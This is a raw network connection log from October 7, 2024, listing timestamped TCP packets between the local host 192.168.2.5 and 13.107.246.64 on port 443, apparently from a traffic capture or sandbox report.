Oct 7, 2024 18:00:33.141133070 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.143637896 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.144320011 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.144335985 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.367999077 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.369096994 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.369146109 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.369668961 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.369683027 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.436781883 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.437633038 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.437657118 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.438045025 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.438050985 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.464366913 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.464416027 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.464497089 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.464894056 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.464894056 CEST	49799	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.464921951 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.464935064 CEST	443	49799	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.468096018 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.468125105 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.468236923 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.468445063 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.468460083 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.513505936 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.514734983 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.514750004 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.515165091 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.515178919 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.544203043 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.544274092 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.544372082 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.544750929 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.544764042 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.544778109 CEST	49800	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.544783115 CEST	443	49800	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.548180103 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.548209906 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.548270941 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.548459053 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.548480034 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.617563009 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.617651939 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.618036032 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.618447065 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.618467093 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.618494034 CEST	49801	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.618499994 CEST	443	49801	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.621562004 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.621593952 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.621742964 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.621896029 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.621907949 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.783679008 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.784491062 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.784511089 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.784905910 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.784915924 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.792978048 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.794058084 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.794058084 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.794076920 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.794090033 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.888305902 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.888395071 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.888447046 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.889252901 CEST	49803	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.889262915 CEST	443	49803	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.896450996 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.896517992 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.896588087 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.897068024 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.897094011 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.897109985 CEST	49802	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.897116899 CEST	443	49802	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.898761988 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.898776054 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.898869991 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.899813890 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.899826050 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.900151968 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.900182962 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:33.900249958 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.900404930 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:33.900419950 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.075676918 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.077095032 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.077116013 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.077626944 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.077632904 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.157439947 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.158025026 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.158041954 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.158452988 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.158457994 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.200035095 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.200109959 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.200171947 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.200370073 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.200392962 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.200408936 CEST	49804	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.200417042 CEST	443	49804	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.203298092 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.203428030 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.203910112 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.204081059 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.204118013 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.228076935 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.229950905 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.229971886 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.230439901 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.230444908 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.254806042 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.254868031 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.254951000 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.255166054 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.255166054 CEST	49805	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.255183935 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.255192995 CEST	443	49805	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.257970095 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.257988930 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.258063078 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.258235931 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.258246899 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.323580980 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.323646069 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.323709011 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.324336052 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.324359894 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.324393988 CEST	49806	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.324409962 CEST	443	49806	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.329948902 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.329976082 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.330039024 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.330576897 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.330590963 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.506500006 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.507009029 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.507035971 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.507477999 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.507484913 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.557003975 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.557672977 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.557682991 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.558130026 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.558136940 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.603173018 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.603203058 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.603267908 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.603270054 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.603322029 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.612940073 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.612940073 CEST	49808	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.612957001 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.612963915 CEST	443	49808	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.619307995 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.619333982 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.619446039 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.619708061 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.619724035 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.665730000 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.665801048 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.665859938 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.666218996 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.666227102 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.666239977 CEST	49807	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.666248083 CEST	443	49807	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.669461012 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.669521093 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.670221090 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.670221090 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.670265913 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.812272072 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.813966036 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.813982964 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.814439058 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.814445972 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.866920948 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.867590904 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.867620945 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.868132114 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.868136883 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.907671928 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.907727003 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.907913923 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.908032894 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.908054113 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.908066988 CEST	49809	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.908073902 CEST	443	49809	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.910825014 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.910868883 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.911024094 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.911308050 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.911334038 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.963748932 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.963824987 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.963990927 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.964411020 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.964427948 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.964442015 CEST	49810	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.964447975 CEST	443	49810	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.967761993 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.980609894 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.980624914 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.981321096 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.981326103 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.985016108 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.985044003 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:34.985137939 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.985753059 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:34.985769987 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.076703072 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.076729059 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.076802015 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.076816082 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.077182055 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.077393055 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.077595949 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.077605963 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.077615023 CEST	49811	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.077620029 CEST	443	49811	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.081188917 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.081245899 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.081511974 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.081511974 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.081543922 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.254985094 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.255511045 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.255522966 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.256030083 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.256035089 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.284392118 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.285202980 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.285216093 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.285681009 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.285686016 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.354000092 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.354024887 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.354087114 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.354088068 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.354123116 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.355890989 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.355899096 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.355907917 CEST	49812	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.355911970 CEST	443	49812	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.361289978 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.361320019 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.361524105 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.361711025 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.361728907 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.379009962 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.379029036 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.379080057 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.379154921 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.379590988 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.379597902 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.379633904 CEST	49813	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.379638910 CEST	443	49813	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.383124113 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.383155107 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.383244038 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.383428097 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.383457899 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.536256075 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.537452936 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.537462950 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.537719011 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.537724018 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.604326010 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.605010986 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.605027914 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.605540037 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.605545044 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.634490013 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.634638071 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.634861946 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.634861946 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.634974003 CEST	49814	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.634987116 CEST	443	49814	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.637624025 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.637660980 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.639769077 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.640013933 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.640026093 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.700762033 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.700956106 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.701046944 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.701260090 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.701275110 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.701286077 CEST	49815	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.701292038 CEST	443	49815	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.704699993 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.704736948 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.705039978 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.705193043 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.705219984 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.708106995 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.708519936 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.708530903 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.709018946 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.709022999 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.804018021 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.804091930 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.804182053 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.804327965 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.804455996 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.804455996 CEST	49816	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.804469109 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.804476976 CEST	443	49816	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.807286978 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.807317972 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:35.807379007 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.807575941 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:35.807591915 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.860805035 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.861463070 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.861474991 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.861922026 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.861928940 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.976285934 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.976408005 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.976497889 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.976712942 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.976723909 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.976743937 CEST	49817	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.976749897 CEST	443	49817	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.979568958 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.979656935 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:36.979773045 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.979904890 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:36.979926109 CEST	443	49822	13.107.246.64	192.168.2.5
